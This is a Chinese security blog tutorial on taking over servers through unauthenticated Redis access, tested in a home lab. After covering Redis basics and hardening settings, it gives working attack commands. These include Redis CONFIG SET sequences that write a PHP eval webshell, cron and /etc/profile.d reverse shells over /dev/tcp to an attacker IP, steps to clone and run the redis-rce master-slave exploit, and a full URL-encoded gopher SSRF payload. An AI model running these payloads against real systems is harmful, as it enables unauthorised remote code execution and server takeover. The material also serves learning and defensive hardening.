从0到1浅析Redis服务器反弹Shell那些事

文章目录

  • 前言
  • Redis服务
    • [1.1 特点与应用](#1.1 特点与应用)
    • [1.2 安装与使用](#1.2 安装与使用)
    • [1.3 语法和配置](#1.3 语法和配置)
    • [1.4 未授权访问](#1.4 未授权访问)
  • 反弹Shell
    • [2.1 Web服务写入Webshell](#2.1 Web服务写入Webshell)
    • [2.2 Linux定时任务反弹shell](#2.2 Linux定时任务反弹shell)
    • [2.3 /etc/profile.d->反弹shell](#2.3 /etc/profile.d->反弹shell)
    • [2.4 写入ssh公钥登录服务器](#2.4 写入ssh公钥登录服务器)
    • [2.5 利用Redis主从复制RCE](#2.5 利用Redis主从复制RCE)
    • [2.6 SSRF漏洞组合拳->RCE](#2.6 SSRF漏洞组合拳->RCE)
  • 总结

前言

2020 年曾在 渗透测试-Weblogic SSRF漏洞复现 一文中通过 SSRF 探测到局域网内的 Redis 服务器,并借助其未授权访问(登录)漏洞反弹 Shell,然而回首发现当时并未说清楚、弄明白借助 Redis 反弹 Shell 的真实原理(说白了当时太水了......复现漏洞走马观花,实打实的脚本小子)。

与此同时,在各大安全社区的文章中不难发现,借助 Redis 服务器反弹 Shell 基本上属于攻防实战中获取服务器权限的常规操作了。本文将从 0 到 1 学习下 Redis 服务器反弹 Shell 的各路姿势,并从中进一步理解 Linux 服务器定时任务、公钥登录等特性在网络攻防中的应用。

Redis服务

Redis(Remote DIctionary Server,远程字典服务) 是一个 key-value 存储系统,是跨平台的非关系型(Nosql)数据库。它是一个开源的使用 ANSIC 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储数据库,并提供多种语言的 API。 Redis 基础教程请参见:菜鸟教程---Redis教程

1.1 特点与应用

Redis的特点

Redis 有几个主要特点,使它优越于其他键值数据存储系统:

  1. Redis 将其数据库完全保存在内存中,仅使用磁盘进行持久化,这使得 Redis 具有很高的读写性能,适用于对响应速度要求较高的应用场景,比如缓存系统;
  2. Redis 支持多种数据结构,不仅仅支持简单的 key-value 类型的数据,还提供了 list、set 和 hash 等更复杂的数据结构的存储;
  3. Redis 支持数据的备份,可以通过主从模式(master-slave)进行数据备份,增加了数据的可靠性和安全性。

Redis的应用场景

缓存服务器几乎是现在所有中大型网站都在用的必杀技,合理利用缓存不仅能够提升网站访问速度,还能大大降低数据库的压力。Redis 提供了键过期功能,也提供了灵活的键淘汰策略,同时与 MySQL 数据库不同的是,Redis 的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过 10 万次读写操作。因此 Redis 被广泛应用于缓存。

来看看网上一张关于企业通过阿里云进行业务上云的架构方案图:

可以看到,Redis 服务器在这里就被用于分担阿里云 RDS 数据库服务器的访问压力。

此时 Redis 缓存服务器的工作逻辑:接收到用户发送的数据读取请求后,先查下自身缓存,缓存有值命中,就直接返回;缓存没命中,就去 RDS 数据库查询,然后把数据库的值更新到缓存,再返回给用户。

基于上述工作逻辑,我们需要进一步了解到 Redis 服务关于 缓存穿透缓存雪奔 的概念。

缓存穿透:指查询一个一定不存在的数据,由于缓存是不命中时需要从数据库查询,查不到数据则不写入缓存,这将导致这个不存在的数据每次请求都要到数据库去查询,进而给数据库带来压力。

通俗点说,读请求访问时,缓存和数据库都没有某个值,这样就会导致每次对这个值的查询请求都会穿透到数据库,这就是缓存穿透。

缓存穿透一般都是这几种情况产生的:

  1. 业务不合理的设计,比如大多数用户都没开守护,但是你的每个请求都去缓存,查询某个userid查询有没有守护;
  2. 业务/运维/开发失误的操作,比如缓存和数据库的数据都被误删除了;
  3. 黑客非法请求攻击,比如黑客故意捏造大量非法请求,以读取不存在的业务数据。

缓存雪奔: 指缓存中数据大批量到过期时间,而查询数据量巨大,请求都直接访问数据库,引起数据库压力过大甚至宕机。

  1. 缓存雪奔一般是由于大量数据同时过期造成的,对于这个原因,可通过均匀设置过期时间解决,即让过期时间相对离散一点,如采用一个较大固定值+一个较小的随机值,5小时 +0 到 1800 秒这样子。
  2. Redis 故障宕机也可能引起缓存雪奔,这就需要构造 Redis 高可用集群啦。

我们在项目中使用 Redis,肯定不会是单点部署 Redis 服务的。因为,单点部署一旦宕机,就不可用了。为了实现高可用,通常的做法是,将数据库复制多个副本以部署在不同的服务器上,其中一台挂了也可以继续提供服务。Redis 实现高可用有三种部署模式:主从模式哨兵模式集群模式

在主从模式中,Redis 部署了多台机器,有主节点,负责读写操作,有从节点,只负责读操作。而从节点的数据来自主节点,实现原理就是主从复制机制。主从复制包括全量复制,增量复制两种。一般当 slave 第一次启动连接 master,或者认为是第一次连接,就采用全量复制。而当 slave 与 master 全量同步之后,master 上的数据如果再次发生更新,就会触发增量复制。

更多 Redis 服务的知识介绍请参见:【超级详细】一文搞懂redis的所有知识点如何最简单、通俗地理解redis数据库?

1.2 安装与使用

此处我采用的 Ubuntu 虚拟机来搭建 Redis 数据库服务。

在 Ubuntu 系统安装 Redis 可以使用以下命令:

sh 复制代码
# 安装redis
sudo apt update
sudo apt install redis-server
# 启动 Redis
redis-server
# 查看redis是否启动,可通过客户端管理工具连接
redis-cli

解释一下,Redis 分为服务端和客户端的,Redis 在安装完成之后会有 redis-cli 客户端管理工具:

sh 复制代码
redis-cli -h host                       # 免密登录
redis-cli -h host -p port -a password   # 使用 Redis 密码登录 Redis 服务

与 Redis 服务连接成功后,执行 PING 命令,如果服务器运作正常的话,会返回一个 PONG,如下所示(证明我们已经成功安装 Redis 数据库服务):

其他操作系统安装 Redis 数据库服务的方法请参见:Redis 菜鸟教程

1.3 语法和配置

Redis 键命令的基本语法为:

  1. 使用 SET 和 GET 命令,可以完成基本的赋值和取值操作;
  2. 使用 * 可以获取所有配置项(GET 、 KEYS);
  3. Redis 不区分命令的大小写,set 和 SET 是同一个意思;
  4. 如果键的值中有空格,需要使用双引号括起来;

常见的一些 Redis 操作和命令如下:

sh 复制代码
SET key "Hello World"                # 设置键 key 的值为字符串 Hello World
GET key                              # 获取键 key 的值,如果 key 不存在,返回 nil 。如果key 储存的值不是字符串类型,返回一个错误
DEL key                              # 删除键 key
KEYS *                               # 获取 redis 中所有的 key,Keys 命令用于查找所有符合给定模式 pattern 的 key
SAVE                                 # 用于创建当前数据库的备份,在 redis 安装目录中创建dump.rdb文件
CONFIG GET *                         # 用于获取 redis 服务所有配置项
CONFIG GET requirepass               # 用于获取 redis 服务的配置参数,通过 CONFIG 命令查看或设置配置项
CONFIG REWRITE requirepass "123456"  # 对 redis.conf 配置文件进行改写,重启后才会被修改
CONFIG SET requirepass "123456"      # 动态地调整 Redis 服务器的配置(configuration)而无须重启
Flushall                             # 用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key)
SELECT index                         # Redis Select 命令用于切换到指定的数据库,数据库索引号 index 用数字值指定,以 0 作为起始索引值。

Redis 服务提供了多个配置项(位于redis.conf配置文件中):

部分核心安全配置项及其含义如下:

配置项 含义
port 6379 指定 Redis 监听端口,默认端口为 6379
bind 127.0.0.1 绑定的主机地址,格式为 bind 后面接 IP 地址,可以同时绑定在多个 IP 地址上,IP地址之间用空格分离,如 bind 192.168.1.100 10.0.0.1;如果没有指定 bind 参数,则绑定在本机的所有 IP 地址上
save <seconds> <changes> 指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合
dbfilename dump.rdb 指定本地数据库文件名,默认值为 dump.rdb
dir ./ 指定本地数据库存放目录,指明 Redis 的工作目录为设定的目录,Redis 产生的备份文件将放在这个目录下
requirepass foobared 设置 Redis 连接密码,如果配置了连接密码,客户端在连接 Redis 时需要通过 AUTH <password> 命令提供密码,默认关闭
protected-mode redis3.2 版本后新增 protected-mode 配置,默认是 yes ,用于设置外部网络连接 redis 服务。关闭 protected-mode 模式,此时外部网络可以直接访问;开启 protected-mode 保护模式,需配置 bind ip 或者设置访问密码

1.4 未授权访问

从上面的介绍中不难看出,由于 Redis 默认不开启连接密码保护,这直接导致了暴露在公网中的 Redis 服务存在未授权访问的安全风险。

但与此同时, redis 3.2.0 版本后 redis.conf 配置文件中还有两个比较重要的参数: bind 以及 protected-mode。经过验证,唯有以下情况可以满足未授权访问 Redis:

  1. 未开启登录认证(即没有配置登录密码,默认即可满足),设置 bind 参数将 redis 绑定到了 0.0.0.0(意味着当前主机所有 IP 都能访问,比如公网 IP、局域网 IP);
  2. 未开启登录认证(即没有配置登录密码,默认即可满足),未绑定 redis 到任何地址 (即将 bind 参数注释掉),同时关闭保护模式(设置 protected-mode 的参数为 no)。

以下是我上述 Ubuntu 虚拟机安装 Redis 后的相关默认配置:

可以看见,由于此时 Redis 数据库服务默认绑定了 127.0.0.1 的 IP 地址,这将导致只允许 Ubuntu 虚拟机本地访问,也就不存在公网未授权访问的安全风险,意味着默认安全(虽然未配置登录密码,但是仅允许本机器访问,除非本机器已被攻陷,否则可以视为安全)。

我们通过局域网的 Kali 虚拟机来验证下是否能未授权登录:

可以看到,Kali 尝试未授权连接局域网 Redis 失败,因为 Redis 此时仅限其自身服务器本地连接。

为了进行安全研究,我们手动将 Redis 的 bind 配置项修改为 0.0.0.0 并重启下 Redis 服务(sudo /etc/init.d/redis-server restart):

此时再局域网 Kali 攻击机就能成功未授权连接、访问 Ubuntu 虚拟机上的 Redis 服务了:

至此,Redis 服务的基础知识以及其未授权访问的风险介绍完毕,可见运维或开发人员在使用 Redis 数据库服务的时候一定要注意安全配置,务必设置登录密码,同时不要将 bind 配置参数设置为 0.0.0.0 或者完全注释掉,避免服务暴露到公网。

0.0.0.0 表示本机中所有的 IPV4 地址,监听 0.0.0.0 的端口,就是监听本机中所有 IP 的端口,同理绑定 0.0.0.0 的 IP,则代表绑定本机所有 IP。

反弹Shell

以下我们讨论的是,万一开发人员或运维人员不小心将 Redis 服务暴露在公网(有时候也有实际业务需求)且未开启密码登录保护的情况下,如何通过连接 Redis 服务后进一步控制服务器。

2.1 Web服务写入Webshell

在 Redis 存在未授权访问的情况下,如果探测到该 Redis 服务器主机上也开启了 Web 服务的情况下(一般业务服务器不会跟数据库缓存服务器同在一台主机),通过信息泄露知道 Web 目录的路径,同时具有文件读写权限,就可以通过 Redis 在指定的 Web 目录下写入 Webshell 文件来获得服务器控制权。

下面我通过在 Ubuntu 虚拟机上搭建 Apache HTTP 服务来进行实验:

sh 复制代码
# 安装 php 环境和 apache 服务
sudo apt install apache2
sudo apt install libapache2-mod-php

Apache HTTP 服务默认 80 端口,网站 Web 目录位于 /var/www/html/

可创建 php 测试文件:

那么 Kali 攻击机可以通过连接 Redis 服务后,写入如下指令,上传 Webshell 到 Apache 服务器 Web 工作目录:

sh 复制代码
config set dir /var/www/html/ 
config set dbfilename shell.php
set xxx "<?php eval($_POST['cmd']);?>" 
save

结果发现写入失败:

返回 Ubuntu 查询 Redis 日志(sudo tail /var/log/redis/redis-server.log),发现是缺乏写权限:

需要 root 用户才能往 Web 目录写文件,但是高版本的 Redis 默认是以 redis 用户的身份启动和运行的:

可见在真实网络攻防环境中,想要利用 Redis 写入 Webshell 的预置条件是很高的,比如此处至少需要开发人员将 Redis 服务以 root 权限运行。

为了继续演示,那就以 root 身份运行 Redis 吧(先执行 /etc/init.d/redis-server stop 暂停原有服务):

然而问题又来了......此时居然 Kali 无法远程访问 Redis 了(我怀疑是 root 身份运行 Redis 时,Redis 默认安全策略导致本地redis.conf配置文件 bind 0.0.0.0 未生效导致的):

此时我有点不淡定了......但是实验还得继续,最后发现有两种方法解决该问题:

  1. 执行命令 sudo redis-server /etc/redis/redis.conf,使得配置文件对当前 root 身份运行的 Redis 进程生效即可:
  2. 或者根据报错提示,执行 sudo redis-server --protected-mode no 重新启动 Redis 同时使得保护模式被关闭也可以;

注意由于我更换了局域网,所以 Ubuntu IP 已变更为 192.168.2.228

返回 Ubuntu,可以看到已经成功写入 Webshell 了:

最后 Windows 物理机上哥斯拉连接:

成功获得 shell:

综上所述,可以看到 Redis 服务在被攻击者通过未授权访问漏洞或者弱口令爆破控制以后,攻击者想要获得 Webshell 的门槛和条件是很苛刻的:

  1. Redis 服务未开启 IP 地址绑定(如只允许本机 IP 访问)的安全保护;
  2. Redis 服务所在服务器需要同时运行着 Web 业务服务(大厂商的日子一般不至于这么拮据......);
  3. 服务器的 Web 服务的工作路径信息泄露;
  4. Redis 服务以高权限(如 root )身份运行,具备读写 Web 服务工作目录的能力。

但是上述实验过程还是给我们进一步利用 Redis 服务攻击目标服务器提供了潜在的可行攻击路径。同时也解释了 渗透测试-Weblogic SSRF漏洞复现 一文中,通过 SSRF 漏洞 + Redis 未授权漏洞获得 Webshell 的原理。

2.2 Linux定时任务反弹shell

Linux 定时任务类似于生活中使用的闹钟,可以自动完成操作命令(比如定时备份系统数据信息)。

crontab命令常见于 Unix 和类 Unix 的操作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于 "crontab" 文件中,以供之后读取和执行。通常,crontab 储存的指令被守护进程激活,crond 常常在后台运行,每一分钟检查是否有预定的作业需要执行,如果有要执行的工作便会自动执行该工作。注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行。

cron 默认配置了调度任务,分别为:hourly、daily、weekly、mouthly,默认配置文件为 /etc/anacrontab。举个例子,系统控制每小时定时任务目录:/etc/cron.hourlyhourly 内的可执行文件(比如.sh文件)每小时都会从头到尾的执行一遍,将需要执行的脚本放到相应的目录下即可。相应的,系统还有每天、每周、每月定时任务的默认目录,如下:

crontab 命令

sh 复制代码
/sbin/service crond start     //启动服务
/sbin/service crond stop     //关闭服务
/sbin/service crond restart  //重启服务
/sbin/service crond reload   //重新载入配置
crontab -l //列出某个用户cron服务的详细内容
crontab -r //删除某个用户的cron服务
crontab -e //编辑某个用户的cron服务

cron 相关语法

每一条定时任务都由以下几个部分组成:

js 复制代码
| 分 | 小时 | 日 | 月 | 星期 | 命令 |
 0-59  0-23  1-31 1-12  0-6  command (取值范围,0表示周日一般一行对应一个任务)

如果 command 放脚本文件,这样就能定时执行脚本内容。下面举两个个例子:

1)每分钟写入 "123" 到固定文件中。

sh 复制代码
[root@izwz9 ~]# crontab -e //编辑定时任务列表
*/1 * * * * echo 123 >> /root/a.txt  //写入定时任务后保存并退出
[root@izwz9 ~]# /sbin/service crond restart //重启,一分钟后出现/root/a.txt

2)每天凌晨自动重启 pm2 :

sh 复制代码
[root@izwz9 ~]# crontab -e //编辑定时任务列表
0 0 */1 * * /bin/sh /root/restartTask.sh  //写入定时任务后保存并退出
[root@izwz9 ~]# /sbin/service crond restart //重启

/root/restartTask.sh 文件中存放脚本内容,内容如下:

sh 复制代码
#!/bin/bash
source ~/.bashrc
/www/node-v8.10.0-linux-x64/bin/pm2 restart looovoTask

实践体验

在 Ubuntu 虚拟机中新增定时任务如下:

增加的反弹 Shell 的定时任务:

sh 复制代码
*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.126/6666 0>&1

静候 1 分钟,可以看到定时任务被执行了, Kali Linux 成功获得 Ubuntu Shell:

衍生攻击手段

基于以上 Linux 系统的定时任务特性,我们在获得 Redis 服务访问权限后,可以在目标主机的定时任务文件中写入一个反弹 shell 的脚本,从而获得目标设备的控制权。

但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们反弹 shell 的命令是要写在 /var/spool/cron/[crontabs]/<username> 内的,所以必须要知道远程主机当前的用户名,否则就不能生效。

比如,当前用户名为 root,我们就要将 Webshell 内容写入到:

Linux系统 路径
Centos 系列 /var/spool/cron/root
Debian/Ubuntu 系列 /var/spool/cron/crontabs/root

完整的 Redis 客户端命令,对于 Centos 如下:

sh 复制代码
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.2.11/6666 0>&1\n\n"
save

对于 Ubuntu:

sh 复制代码
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.2.11/6666 0>&1\n\n"
save

以 Ubuntu 为例进行演示:

成功写入定时任务,但是反弹 Shell 是失败的。

参考 《纸上得来终觉浅------Redis 个人总结》 可以得知通过定时任务反弹 Shell 的方式在 Ubuntu 上行不通:

  1. 因为默认 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件 /var/spool/cron/crontabs/<username> 权限必须是 600 才会执行,否则会报错 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定时任务文件 /var/spool/cron/<username> 权限 644 也可以执行;
  2. 因为 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错。

本人没安装 Centos 虚拟机,参见大佬们的演示截图吧:

同样的,由于定时任务的路径权限所限,Redis 服务进程必须以高权限运行,否则此攻击方式也将无效。

2.3 /etc/profile.d->反弹shell

Ubuntu 通过定时任务无法轻易反弹 Shell 的话,我们还可以借助 Linux 的环境变量配置来完成此任务。

简单理解下环境变量:在 Windows系统下,很多软件的安装都需要设置环境变量,比如安装 JAVA JDK。如果不安装环境变量,在非软件安装的目录下运行 javac 命令,将会报告"找不到文件"类似的错误。那么,什么是环境变量呢?简要的说,就是指定一个目录,运行软件的时候,相关的程序将会按照该目录寻找相关文件。

在 Linux 系统下,如果你下载并安装了应用程序,很有可能在键入它的名称时出现 "command not found" 的提示内容。如果每次都到安装目标文件夹内,找到可执行文件来进行操作就太繁琐了。这涉及到环境变量 PATH 的 设置 问题,而 PATH 的设置也是在 Linux 下定制环境变量的一个组成部分。

Linux配置系统环境的完整方式:操作系统:Linux 环境变量配置的 6 种方法

一般情况下,我们配置环境变量时,都是通过 /etc/profile 文件进行配置。在环境变量配置不多时,我们的确可以这么做。但是环境变量要是很多呢?岂不是每次都要编辑这个文件,新增对应的环境变量。如果这样的话,我们要删除之前新增的环境变量,也只能在 /etc/profile 里慢慢找,逐个删除,这就很麻烦。

那有没有更好的办法呢?有的,那就是使用/etc/profile.d/,在这个目录下新增环境配置文件即可。/etc/profile.d/这个目录是用来干嘛的呢?简单来说,它和 /etc/profile 的功能可以说是一样的,系统启动或者用户重新登录 shell 后,这个目录下的 .*sh 文件会自动执行,解析后配置到环境变量中

看下/etc/profile里是怎么写的:

那么使用 /etc/profile.d/ 的好处是什么呢?那就是解耦环境变量。试想一下,我们在 /etc/profile.d/ 配置了某个环境变量配置文件,什么时候我们不在需要这个环境变量了,我们只需要删掉这个.sh文件即可,不用再改/etc/profile,是不是就方便多了。

以 JAVA 环境配置为例,可以新增/etc/profile.d/java.sh,文件内容如下:

sh 复制代码
JAVA_HOME=/usr/local/jdk1.8.0_301
JRE_HOME=/usr/local/jdk1.8.0_301/jre
CLASS_PATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib
PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin
export PATH

此处我试验一下,以 root 权限创建一个反弹 Shell 的/etc/profile.d/test.sh文件:

然后通过 Windows 物理机 SSH 登录 Ubuntu 虚拟机:

此时 Kali 攻击机即可获得 Ubuntu 虚拟机 Shell:

那么,我们同样来试下通过 Redis 写入恶意环境变量配置环境并反弹 Shell 是否可行。

sh 复制代码
config set dir /etc/profile.d/ 
config set dbfilename evil.sh
set xxx "\r\n\r\n/bin/bash -i >& /dev/tcp/192.168.2.11/6666 0>&1 &\r\n\r\n" 
save

成功创建文件 evil.sh,但是却是乱码,无法反弹 Shell......

Ubuntu 这个巨坑......建议大家不要再用 Ubuntu 来实践 Redis 的攻击利用了。

2.4 写入ssh公钥登录服务器

在使用 SSH 客户端远程连接 Linux 服务器时,为了考虑安全方面的因素,可以使用公私钥对的方式来替代密码进行登录。

如果目标服务器上 Redis 以 root 身份运行,可以可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,然后攻击者便可以直接通过 SSH 私钥远程登录目标服务器。

此处只提供利用思路,不再动手复现了,环境太坑,过多浪费时间了。实际攻防实践中遇到此场景的话(公网高版本 Redis 以 root 身份运行的利用条件从上面可看出很苛刻),再查阅具体资料解决,此处只记录利用思路。

2.5 利用Redis主从复制RCE

Redis 是一个使用 ANSIC 编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个 Redis 的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis 就提供了主从模式,主从模式就是指使用一个 redis 实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

在 Reids 4.x 之后,Redis 新增了模块功能,通过外部拓展,可以实现在 Redis 中实现一个新的 Redis 命令,通过写 C 语言编译并加载恶意的 .so 文件,达到代码执行的目的。

编写恶意 so 文件的代码:RedisModules-ExecuteCommand,下载后用 make 编译即可生成:

sh 复制代码
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand/
make
# 生成 /RedisModules-ExecuteCommand/src/module.so
cd ..
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 192.168.10.187 -p 6379 -L 192.168.10.1 -f module.so

在两个 Redis 实例设置主从模式的时候,Redis的主机实例可以通过 FULLRESYNC 同步文件到从机上。然后在从机上加载 so 文件,我们就可以执行拓展的新命令并反弹获得 Shell 了。同时在 Github 已有公开的 Getshell Python脚本 redis-rce 可以拿来直接食用。

此处只记录利用思路,同样不再动手复现,有需求再查阅资料。需要注意的是,主从复制的利用版本是 4.x-5.x,从 6.0 开始,就无法利用成功,写入 exp.so 也是可以的,module 加载时会失败,提示没有权限,给 exp.so 权限后时可以的。

2.6 SSRF漏洞组合拳->RCE

2020 年曾在 渗透测试-Weblogic SSRF漏洞复现 一文中通过 SSRF 探测到局域网内的 Redis 服务器,并借助其未授权访问(登录)漏洞反弹 Shell。其中反弹 Shell 部分是通过 SSRF 漏洞发送 HTTP 请求给 Redis 服务并传输借助 Linux 定时任务反弹 Shell 的 Redis Payload:

但是此处使用 HTTP 协议传输 Redis Payload 的方法并不是在所有场景都适用。而在 Redis 服务的攻击利用中,常用的还有另外一种协议:gother://协议。

gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。协议格式如下:

sh 复制代码
gopher://<host>:<port>//<gopher-path>_后接TCP数据流

这里介绍一个 Gophar 协议利用工具 Gopharus,该工具将帮助我们生成 Gopher 有效负载,以利用 SSRF(服务器端请求伪造)并获得 RCE(远程代码执行)。 而且它将帮助我们在受害服务器上获得 shell,使用方法非常简单,按照提示就可以生成 payload 了

sh 复制代码
python gopherus.py --exploit redis

结合 SSRF 对应的 Payload 格式:

js 复制代码
http://10.1.8.159/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%34%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%37%25%37%32%25%36%35%25%36%34%25%36%39%25%37%33%25%32%37%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%25%32%66%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%36%38%25%36%66%25%37%33%25%37%34%25%35%66%25%33%38%25%33%30%25%32%66%25%37%37%25%37%37%25%37%37%25%37%32%25%36%66%25%36%66%25%37%34%25%32%30%25%32%30%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35

更多 Redis + SSRF 反弹 Shell 的资料可以参见:

  1. 当SSRF遇上Redis
  2. SSRF攻击内网Redis
  3. 浅析Redis中SSRF的利用
  4. SSRF + Redis 利用方式学习笔记

总结

本文学习了 Redis 服务的作用,并本地搭建了 Redis 服务,同时介绍了其相关基础使用方法和核心安全配置。然后总结分析了 Redis 未授权访问漏洞或弱口令导致 Redis 服务被攻击者操控后,如何进一步通过反弹 Shell 接管服务器。

整体而言,Redis 服务想要获得 RCE 的条件是比较苛刻的,需要具备配置公网访问、未开启 IP 地址绑定、以 Root 身份运行等前提,这些都需要开发或运维人员错误配置的情况下才有可能成功利用。

这期间也学习了通过 Linux 定时计划任务、/etc/profile.d环境变量配置、公私钥登录等特性反弹 Shell 的技巧,攻防实践中请注意,如果目标服务器存在 任意文件上传 + 路径穿越漏洞导致任意文件覆写这类的漏洞的话,我们也同样可以采用 Linux 这几个特性来反弹 Shell 并控制服务器。

本文参考文章:

  1. 如何最简单、通俗地理解redis数据库?
  2. 【超级详细】一文搞懂redis的所有知识点
  3. 纸上得来终觉浅:Redis 个人总结
  4. Redis未授权访问漏洞复现与利用
  5. SSRF + Redis 利用方式学习笔记